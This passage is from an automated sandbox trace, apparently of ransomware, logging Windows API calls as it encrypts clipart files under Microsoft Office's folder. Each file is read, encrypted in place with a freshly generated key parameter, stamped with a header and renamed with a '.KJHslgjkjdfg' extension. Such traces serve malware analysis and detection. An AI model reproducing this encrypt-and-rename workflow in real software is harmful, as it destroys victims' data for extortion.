[0181.468] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.468] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.468] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.468] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.468] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.468] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.468] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.469] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.469] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.469] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1634, lpOverlapped=0x0) returned 1 [0181.470] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1640, dwBufLen=0x1640 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1640) returned 1 [0181.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.470] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1640, lpOverlapped=0x0) returned 1 [0181.470] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.470] SetEndOfFile (hFile=0x130) returned 1 [0181.473] GetProcessHeap () returned 0x990000 [0181.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.473] GetProcessHeap () returned 0x990000 [0181.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.kjhslgjkjdfg")) returned 1 [0181.576] CloseHandle (hObject=0x130) returned 1 [0181.576] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0181.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.576] GetProcessHeap () returned 0x990000 [0181.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.577] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.577] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0181.580] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.580] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.580] GetProcessHeap () returned 0x990000 [0181.580] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.580] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.580] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.580] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.580] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.580] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.580] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.580] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.580] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.580] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.581] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5062, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5062, lpOverlapped=0x0) returned 1 [0181.582] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5070, dwBufLen=0x5070 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5070) returned 1 [0181.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.582] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5070, lpOverlapped=0x0) returned 1 [0181.582] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.582] SetEndOfFile (hFile=0x130) returned 1 [0181.585] GetProcessHeap () returned 0x990000 [0181.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.585] GetProcessHeap () returned 0x990000 [0181.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.kjhslgjkjdfg")) returned 1 [0181.589] CloseHandle (hObject=0x130) returned 1 [0181.589] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0181.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.590] GetProcessHeap () returned 0x990000 [0181.590] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.590] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.590] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.591] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.591] GetProcessHeap () returned 0x990000 [0181.591] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.591] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.591] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.591] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.593] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.593] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.593] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.594] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.594] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.594] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.594] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a50, lpOverlapped=0x0) returned 1 [0181.595] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a50) returned 1 [0181.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.595] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a50, lpOverlapped=0x0) returned 1 [0181.595] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.595] SetEndOfFile (hFile=0x130) returned 1 [0181.597] GetProcessHeap () returned 0x990000 [0181.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.597] GetProcessHeap () returned 0x990000 [0181.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.kjhslgjkjdfg")) returned 1 [0181.604] CloseHandle (hObject=0x130) returned 1 [0181.604] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0181.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.605] GetProcessHeap () returned 0x990000 [0181.605] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.605] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.605] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.607] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.607] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.607] GetProcessHeap () returned 0x990000 [0181.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.607] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.607] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.607] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.607] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.607] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.607] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.608] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.608] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x385c, lpOverlapped=0x0) returned 1 [0181.609] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3860, dwBufLen=0x3860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3860) returned 1 [0181.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.609] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3860, lpOverlapped=0x0) returned 1 [0181.609] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.609] SetEndOfFile (hFile=0x130) returned 1 [0181.611] GetProcessHeap () returned 0x990000 [0181.611] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.611] GetProcessHeap () returned 0x990000 [0181.611] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.kjhslgjkjdfg")) returned 1 [0181.616] CloseHandle (hObject=0x130) returned 1 [0181.616] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0181.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.617] GetProcessHeap () returned 0x990000 [0181.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.617] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.617] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.617] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.617] GetProcessHeap () returned 0x990000 [0181.617] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.617] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.617] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.617] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.621] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.621] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.622] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.622] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.622] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, 